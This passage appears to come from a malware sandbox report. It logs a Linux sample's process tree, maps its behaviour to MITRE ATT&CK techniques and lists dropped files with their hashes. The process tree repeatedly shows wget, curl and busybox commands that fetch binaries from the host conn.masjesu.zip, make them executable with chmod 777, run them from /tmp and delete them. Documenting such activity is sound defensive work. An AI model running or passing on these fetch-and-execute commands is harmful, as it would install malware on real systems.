- /tmp/dJnnOBJeyx15I6lBptmVddqjHWm4ADuTsN
  ./dJnnOBJeyx15I6lBptmVddqjHWm4ADuTsN
  2⤵
  - Executes dropped EXE
  PID:978
- /bin/rm
  rm dJnnOBJeyx15I6lBptmVddqjHWm4ADuTsN
  2⤵
  PID:979
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/OVzsRlqzUObCm48sTtpWRcveUiTiaCZN1f
  2⤵
  - System Network Configuration Discovery
  PID:980
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/OVzsRlqzUObCm48sTtpWRcveUiTiaCZN1f
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:981
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/OVzsRlqzUObCm48sTtpWRcveUiTiaCZN1f
  2⤵
  PID:983
- /bin/chmod
  chmod 777 OVzsRlqzUObCm48sTtpWRcveUiTiaCZN1f
  2⤵
  - File and Directory Permissions Modification
  PID:984
- /tmp/OVzsRlqzUObCm48sTtpWRcveUiTiaCZN1f
  ./OVzsRlqzUObCm48sTtpWRcveUiTiaCZN1f
  2⤵
  - Executes dropped EXE
  PID:985
- /bin/rm
  rm OVzsRlqzUObCm48sTtpWRcveUiTiaCZN1f
  2⤵
  PID:987
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/yfIhuRkXZzi31qwV55OSqZ7tUtyLZyjggS
  2⤵
  PID:988
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/yfIhuRkXZzi31qwV55OSqZ7tUtyLZyjggS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:989
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/yfIhuRkXZzi31qwV55OSqZ7tUtyLZyjggS
  2⤵
  - System Network Configuration Discovery
  PID:991
- /bin/chmod
  chmod 777 yfIhuRkXZzi31qwV55OSqZ7tUtyLZyjggS
  2⤵
  - File and Directory Permissions Modification
  PID:992
- /tmp/yfIhuRkXZzi31qwV55OSqZ7tUtyLZyjggS
  ./yfIhuRkXZzi31qwV55OSqZ7tUtyLZyjggS
  2⤵
  - Executes dropped EXE
  PID:993
- /bin/rm
  rm yfIhuRkXZzi31qwV55OSqZ7tUtyLZyjggS
  2⤵
  PID:995
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE
  2⤵
  - System Network Configuration Discovery
  PID:996
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:997
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE
  2⤵
  - System Network Configuration Discovery
  PID:999
- /bin/chmod
  chmod 777 JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE
  2⤵
  - File and Directory Permissions Modification
  PID:1000
- /tmp/JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE
  ./JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE
  2⤵
  - Executes dropped EXE
  PID:1001
- /bin/rm
  rm JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE
  2⤵
  PID:1002
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/xzCezgyrk5TN6d5wylqimTHoTPbm0hRYZO
  2⤵
  - System Network Configuration Discovery
  PID:1003
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/xzCezgyrk5TN6d5wylqimTHoTPbm0hRYZO
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1004
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/xzCezgyrk5TN6d5wylqimTHoTPbm0hRYZO
  2⤵
  - System Network Configuration Discovery
  PID:1006
- /bin/chmod
  chmod 777 xzCezgyrk5TN6d5wylqimTHoTPbm0hRYZO
  2⤵
  - File and Directory Permissions Modification
  PID:1007
- /tmp/xzCezgyrk5TN6d5wylqimTHoTPbm0hRYZO
  ./xzCezgyrk5TN6d5wylqimTHoTPbm0hRYZO
  2⤵
  - Executes dropped EXE
  PID:1008
- /bin/rm
  rm xzCezgyrk5TN6d5wylqimTHoTPbm0hRYZO
  2⤵
  PID:1009
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/OZk1THCfmr46R8aqStMe6bpR4zw9dKV9UD
  2⤵
  PID:1010
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/OZk1THCfmr46R8aqStMe6bpR4zw9dKV9UD
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1011
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/OZk1THCfmr46R8aqStMe6bpR4zw9dKV9UD
  2⤵
  PID:1013
- /bin/chmod
  chmod 777 OZk1THCfmr46R8aqStMe6bpR4zw9dKV9UD
  2⤵
  - File and Directory Permissions Modification
  PID:1014
- /tmp/OZk1THCfmr46R8aqStMe6bpR4zw9dKV9UD
  ./OZk1THCfmr46R8aqStMe6bpR4zw9dKV9UD
  2⤵
  - Executes dropped EXE
  PID:1015
- /bin/rm
  rm OZk1THCfmr46R8aqStMe6bpR4zw9dKV9UD
  2⤵
  PID:1016
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fVMmbenTNnjxokodwqr9MJLLN2Drmjfb1N
  2⤵
  - System Network Configuration Discovery
  PID:1017
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fVMmbenTNnjxokodwqr9MJLLN2Drmjfb1N
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1018
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fVMmbenTNnjxokodwqr9MJLLN2Drmjfb1N
  2⤵
  - System Network Configuration Discovery
  PID:1020
- /bin/chmod
  chmod 777 fVMmbenTNnjxokodwqr9MJLLN2Drmjfb1N
  2⤵
  - File and Directory Permissions Modification
  PID:1021
- /tmp/fVMmbenTNnjxokodwqr9MJLLN2Drmjfb1N
  ./fVMmbenTNnjxokodwqr9MJLLN2Drmjfb1N
  2⤵
  - Executes dropped EXE
  PID:1022
- /bin/rm
  rm fVMmbenTNnjxokodwqr9MJLLN2Drmjfb1N
  2⤵
  PID:1023

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb

Path /tmp/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
Size 16B
SHA256 17dcc5c5df80bfe98d30dd8eb7e0de5875d0e4560a0f23e5acb0b13ef1a1a3c5
MD5 7689ca8c5bc85cf6b78ef89323d4df6a
SHA1 a1392ec3b571b3de167f0b9a5dadab4f14a2db76
SHA512 40f543b232d42b9b7796382c15de33e682111685ad7ae87be455d0d8d3e48866dfc137f4555b8bc6bf03ac5dde233c8f20e8c4f220c05c71892de0ce14691471
MD5 SHA1 SHA512

Submit Download

X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13

Path /tmp/X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512